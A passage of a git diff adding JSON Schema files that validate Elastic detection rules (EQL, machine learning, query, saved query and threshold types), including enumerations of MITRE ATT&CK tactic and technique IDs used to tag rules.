"T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.10/7.10.machine_learning.json b/etc/api_schemas/7.10/7.10.machine_learning.json new file mode 100644 index 000000000..e7b7c8d43 --- /dev/null +++ b/etc/api_schemas/7.10/7.10.machine_learning.json @@ -0,0 +1,650 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "anomaly_threshold": { + "minimum": 0, + "type": "integer" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "machine_learning_job_id": { + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "machine_learning", + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "anomaly_threshold", + "machine_learning_job_id", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.10/7.10.query.json b/etc/api_schemas/7.10/7.10.query.json new file mode 100644 index 000000000..0cbf8532a --- /dev/null +++ b/etc/api_schemas/7.10/7.10.query.json @@ -0,0 +1,660 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "query", + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.10/7.10.saved_query.json b/etc/api_schemas/7.10/7.10.saved_query.json new file mode 100644 index 000000000..532d4a68d --- /dev/null +++ b/etc/api_schemas/7.10/7.10.saved_query.json @@ -0,0 +1,651 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "saved_id": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "saved_query", + "enum": [ + "saved_query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "saved_id", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.10/7.10.threshold.json b/etc/api_schemas/7.10/7.10.threshold.json new file mode 100644 index 000000000..44001ca89 --- /dev/null +++ b/etc/api_schemas/7.10/7.10.threshold.json @@ -0,0 +1,679 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + 